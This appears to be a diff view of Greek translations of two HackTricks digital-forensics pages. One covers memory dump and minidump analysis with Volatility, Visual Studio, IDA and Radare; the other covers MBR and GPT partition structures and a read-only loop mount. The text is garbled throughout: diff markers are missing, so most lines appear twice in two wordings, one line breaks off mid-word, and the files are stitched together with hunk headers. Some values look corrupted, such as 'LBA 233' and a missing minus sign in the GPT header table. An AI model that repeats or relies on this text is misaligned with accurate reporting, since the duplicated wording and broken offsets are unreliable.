[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
## Έναρξη
## Ξεκινήστε
Ξεκινήστε την **αναζήτηση** για **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στην [**Ανάλυση Κακόβουλου Λογισμικού**](../malware-analysis.md).
Ξεκινήστε **αναζητώντας** **malware** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στην [**Ανάλυση Malware**](../malware-analysis.md).
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
## [Volatility](volatility-cheatsheet.md)
**Το Volatility είναι το κύριο πλαίσιο ανοιχτού κώδικα για την ανάλυση αντιγράφων μνήμης**. Αυτό το εργαλείο Python αναλύει αντίγραφα από εξωτερικές πηγές ή εικονικές μηχανές VMware, εντοπίζοντας δεδομένα όπως διεργασίες και κωδικούς πρόσβασης με βάση το προφίλ του λειτουργικού συστήματος του αντιγράφου. Είναι επεκτάσιμο με πρόσθετα, καθιστώντας το υψηλά ευέλικτο για διερευνητικές ερευνητικές εργασίες.
**Το Volatility είναι το κύριο ανοιχτού κώδικα πλαίσιο για την ανάλυση μνήμης**. Αυτό το εργαλείο Python αναλύει dumps από εξωτερικές πηγές ή VMware VMs, αναγνωρίζοντας δεδομένα όπως διαδικασίες και κωδικούς πρόσβασης με βάση το προφίλ OS του dump. Είναι επεκτάσιμο με plugins, καθιστώντας το εξαιρετικά ευέλικτο για ποινικές έρευνες.
**[Βρείτε εδώ ένα cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
[**Βρείτε εδώ ένα cheatsheet**](volatility-cheatsheet.md)
## Αναφορά κρατήματος mini dump
## Αναφορά κατάρρευσης μικρού αντιγράφου μνήμης
Όταν το dump είναι μικρό (μόνο μερικά KB, ίσως μερικά MB) τότε πιθανότατα είναι μια αναφορά κρατήματος mini dump και όχι ένα dump μνήμης.
Όταν το αντίγραφο είναι μικρό (μόνο μερικά KB, ίσως μερικά MB) τότε πιθανότατα είναι μια αναφορά κατάρρευσης μικρού αντιγράφου και όχι ένα αντίγραφο μνήμης.
![](<../../../.gitbook/assets/image (532).png>)
![](<../../../.gitbook/assets/image (216).png>)
Αν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε κάποιες βασικές πληροφορίες όπως το όνομα διαδικασίας, αρχιτεκτονική, πληροφορίες εξαίρεσης και εκτελούμενα modules:
Εάν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε μερικές βασικές πληροφορίες όπως το όνομα της διεργασίας, η αρχιτεκτονική, πληροφορίες εξαίρεσης και τα εκτελούμενα αρθρώματα:
![](<../../../.gitbook/assets/image (263).png>)
![](<../../../.gitbook/assets/image (217).png>)
Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποσυμπιεσμένες εντολές
Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποκωδικοποιημένες οδηγίες
![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (219).png>)
![](<../../../.gitbook/assets/image (218) (1).png>)
Πάντως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να πραγματοποιήσετε μια ανάλυση του βάθους του αντιγράφου.
Θα πρέπει να το **ανοίξετε** χρησιμοποιώντας το **IDA** ή το **Radare** για να το επιθεωρήσετε **λεπτομερώς**.
![](<../../../.gitbook/assets/image (610).png>)
Ούτως ή άλλως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να εκτελέσετε μια ανάλυση βάθους του dump.
Πρέπει να το **ανοίξετε** χρησιμοποιώντας το **IDA** ή το **Radare** για να το επιθεωρήσετε σε **βάθος**.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο ση
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,67 +1,68 @@
# Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
# Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Διαμερίσματα
## Partitions
Ένας σκληρός δίσκος ή ένας **δίσκος SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με σκοπό τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι το **sector** (συνήθως αποτελείται από 512B). Έτσι, η μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο του μεγέθους αυτού.
Ένας σκληρός δίσκος ή ένας **SSD δίσκος μπορεί να περιέχει διαφορετικές κατατμήσεις** με στόχο τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε κατατμήσεως πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους.
### MBR (Κύριο Μητρώο Εκκίνησης)
### MBR (master Boot Record)
Είναι εγκατεστημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον Η/Υ τι και από πού πρέπει να τοποθετηθεί ένα διαμέρισμα.\
Επιτρέπει έως και **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **επεκτεινόμενα διαμερίσματα**. Το **τελευταίο byte** αυτού του πρώτου τομέα είναι η υπογραφή του εγγράφου εκκίνησης **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να επισημανθεί ως ενεργό.\
Το MBR επιτρέπει **μέγιστο 2,2TB**.
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί μια κατανομή.\
Επιτρέπει έως **4 κατατμήσεις** (το πολύ **μόνο 1** μπορεί να είναι ενεργή/**εκκινήσιμη**). Ωστόσο, αν χρειάζεστε περισσότερες κατατμήσεις μπορείτε να χρησιμοποιήσετε **εκτεταμένες κατατμήσεις**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο μία κατανομή μπορεί να χαρακτηριστεί ως ενεργή.\
Το MBR επιτρέπει **μέγιστο 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (350).png>)
![](<../../../.gitbook/assets/image (490).png>)
![](<../../../.gitbook/assets/image (304).png>)
Από τα **bytes 440 έως τα 443** του MBR μπορείτε να βρείτε τη **Σφραγίδα Δίσκου των Windows** (εάν χρησιμοποιείται τα Windows). Το λογικό γράμμα οδήγησης του σκληρού δίσκου εξαρτάται από τη Σφραγίδα Δίσκου των Windows. Η αλλαγή αυτής της σφραγίδας μπορεί να αποτρέψει τα Windows από την εκκίνηση (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου Windows** (αν χρησιμοποιείται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να εμποδίσει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
![](<../../../.gitbook/assets/image (310).png>)
**Μορφή**
**Format**
| Offset | Μήκος | Στοιχείο |
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα |
| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα |
| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα |
| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα |
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
| 446 (0x1BE) | 16 (0x10) | Πρώτη Κατανομή |
| 462 (0x1CE) | 16 (0x10) | Δεύτερη Κατανομή |
| 478 (0x1DE) | 16 (0x10) | Τρίτη Κατανομή |
| 494 (0x1EE) | 16 (0x10) | Τέταρτη Κατανομή |
| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA |
**Μορφή Εγγραφής Διαμερίσματος**
**Format Καταγραφής Κατανομής**
| Offset | Μήκος | Στοιχείο |
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμο) |
| 1 (0x01) | 1 (0x01) | Έναρξη κεφαλής |
| 2 (0x02) | 1 (0x01) | Έναρξη τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου έναρξης |
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμέρισματος (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Τέλος κεφαλής |
| 6 (0x06) | 1 (0x01) | Τέλος τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 7 (0x07) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου τέλους |
| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμη) |
| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή |
| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits |
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου κατανομής (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Τελική κεφαλή |
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits |
| 8 (0x08) | 4 (0x04) | Τομείς που προηγούνται της κατανομής (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στην κατανομή |
Για να τοποθετήσετε ένα MBR στο Linux πρέπει πρώτα να λάβετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
Για να προσαρτήσετε ένα MBR σε Linux πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
```bash
@ -70,75 +71,88 @@ mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**Διεύθυνση Λογικών Τμημάτων (LBA)**
**LBA (Λογική διεύθυνση μπλοκ)**
Η **Διεύθυνση Λογικών Τμημάτων** (**LBA**) είναι ένα κοινό σχήμα που χρησιμοποιείται για τον **καθορισμό της τοποθεσίας των τμημάτων** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, κυρίως σε συστήματα δευτερεύουσας αποθήκευσης όπως οι σκληροί δίσκοι. Η LBA είναι ένα ιδιαίτερα απλό γραμμικό σχήμα διεύθυνσης. **Τα τμήματα εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο τμήμα να είναι το LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
### GPT (Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών)
### GPT (Πίνακας Κατανομής GUID)
Ο Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικό για το **παγκοσμίως μοναδικό αναγνωριστικό** για τμήματα, ο GPT ξεχωρίζει με διάφορους τρόπους:
Ο Πίνακας Κατανομής GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικός για τον **παγκοσμίως μοναδικό αναγνωριστικό** για τις κατανομές, το GPT ξεχωρίζει με αρκετούς τρόπους:
* **Τοποθεσία και Μέγεθος**: Τόσο ο GPT όσο και το MBR ξεκινούν από το **τομέα 0**. Ωστόσο, ο GPT λειτουργεί με **64 bits**, αντίθετα με τα 32 bits του MBR.
* **Όρια Τμημάτων**: Ο GPT υποστηρίζει έως και **128 τμήματα** σε συστήματα Windows και φιλοξενεί έως και **9,4ΖΒ** δεδομένων.
* **Ονόματα Τμημάτων**: Προσφέρει τη δυνατότητα να ονομάζετε τμήματα με έως και 36 χαρακτήρες Unicode.
* **Τοποθεσία και Μέγεθος**: Και το GPT και το MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR.
* **Όρια Κατανομής**: Το GPT υποστηρίζει έως **128 κατανομές** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων.
* **Ονόματα Κατανομών**: Προσφέρει τη δυνατότητα ονομασίας κατανομών με έως 36 χαρακτήρες Unicode.
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
* **Επαναληπτικότητα**: Αντίθετα με το MBR, ο GPT δεν περιορίζει την διαίρεση σε τμήματα και δεδομένα εκκίνησης σε ένα μόνο σημείο. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, βελτιώνοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
* **Έλεγχος Κυκλικής Επανάληψης (CRC)**: Ο GPT χρησιμοποιεί το CRC για να εξασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά τη διάβρωση δεδομένων και, όταν ανιχνευθεί, ο GPT προσπαθεί να ανακτήσει τα δεδομένα από άλλη τοποθεσία στο δίσκο.
* **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
* **Έλεγχος Κυκλικής Πλεονασμού (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνευθεί, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
**Προστατευτικό MBR (LBA0)**:
* Ο GPT διατηρεί την συμβατότητα προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτό το χαρακτηριστικό βρίσκεται στον χώρο του παλαιού MBR αλλά σχεδιάστηκε για να αποτρέπει τις παλαιότερες εργαλειοθήκες που βασίζονται στο MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, προστατεύοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους με GPT.
* Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποίησης GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
**Υβριδικό MBR (LBA 0 + GPT)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Σε λειτουργικά συστήματα που υποστηρίζουν την **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας ενδέχεται να χρησιμοποιείται επίσης για την αποθήκευση του πρώτου σταδίου του κώδικα **εκκίνησης** του **φορτωτή**, αλλά **τροποποιημένος** για να αναγνωρίζει **τμήματα GPT**. Ο φορτωτής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes.
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση με βάση το GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του **κώδικα εκκίνησης**, αλλά **τροποποιημένος** για να αναγνωρίζει **κατανομές GPT**. Ο εκκινητής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte.
**Κεφαλίδα πίνακα τμημάτων (LBA 1)**
**Κεφαλίδα πίνακα κατανομής (LBA 1)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Η κεφαλίδα του πίνακα τμημάτων καθορίζει τα χρήσιμα τμήματα στο δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρήσεων τμημάτων που αποτελούν τον πίνακα τμημάτων (οφσετ 80 και 84 στον πίνακα).
Η κεφαλίδα του πίνακα κατανομής ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατανομής που αποτελούν τον πίνακα κατανομής (offsets 80 και 84 στον πίνακα).
| Οφσετ | Μήκος | Περιεχόμενα |
| Offset | Length | Περιεχόμενα |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)σε μικρότερα μηχανήματα) |
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)σε μηχανές little-endian) |
| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε μικρότερη λειτουργία (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (οφσετ +0 μέχρι μέγεθος κεφαλίδας) σε μικρότερη λειτουργία, με αυτό το πεδίο να μηδενίζεται κατά την υπολογιστική διαδικασία |
| 20 (0x14) | 4 bytes | Κρατούμενο; πρέπει να είναι μηδέν |
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντίγραφου κεφαλίδας) |
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντίγραφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρήσιμο LBA για τμήματα (τελευταίο LBA πρωτεύοντος πίνακα + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα 1) |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτή λειτουργία |
| 72 (0x48) | 8 bytes | Έναρξη LBA ενός πίνακα καταχωρήσεων τμημάτων (πάντα 2 στον πρωτεύον αντίγραφο) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρήσεων τμημάτων στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μεμονωμένης καταχώρησης τμήματος (συνήθως 80h ή 128) |
| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρήσεων τμημάτων σε μικρότερη λειτουργία |
| 92 (0x5C) | \* | Κρατούμενο; πρέπει να είναι μηδέν για το υπόλοιπο του τομέα (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερο με μεγαλύτερα μεγέθη τομέων) |
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού |
| 20 (0x14) | 4 bytes | Κρατημένο; πρέπει να είναι μηδέν |
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντιγράφου κεφαλίδας) |
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατανομές (τελευταίο LBA κύριου πίνακα κατανομής + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατανομής 1) |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian |
| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατανομής (πάντα 2 στην κύρια αντιγραφή) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατανομής στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατανομής (συνήθως 80h ή 128) |
| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρίσεων κατανομής σε little endian |
| 92 (0x5C) | \* | Κρατημένο; πρέπει να είναι μηδενικά για το υπόλοιπο του μπλοκ (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερα με μεγαλύτερα μεγέθη τομέα) |
**Καταχωρήσεις τμημάτων (LBA 233)**
**Καταχωρίσεις κατανομής (LBA 233)**
| Μορφή καταχώρησης τμήματος GUID | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Οφσετ | Μήκος | Περιεχόμενα |
| 0 (0x00) | 16 bytes | [Οδηγός τύπου τμήματος GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (μικτή λειτουργία) |
| 16 (0x10) | 16 bytes | Μοναδικός οδηγός τμήματος (μικτή λειτουργία) |
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένου, συνήθως περιττό) |
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 υποδηλώνει μόνο για ανάγνωση) |
| 56 (0x38) | 72 bytes | Όνομα τμήματος (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
| Μορφή καταχώρισης GUID | | |
| ----------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Offset | Length | Περιεχόμενα |
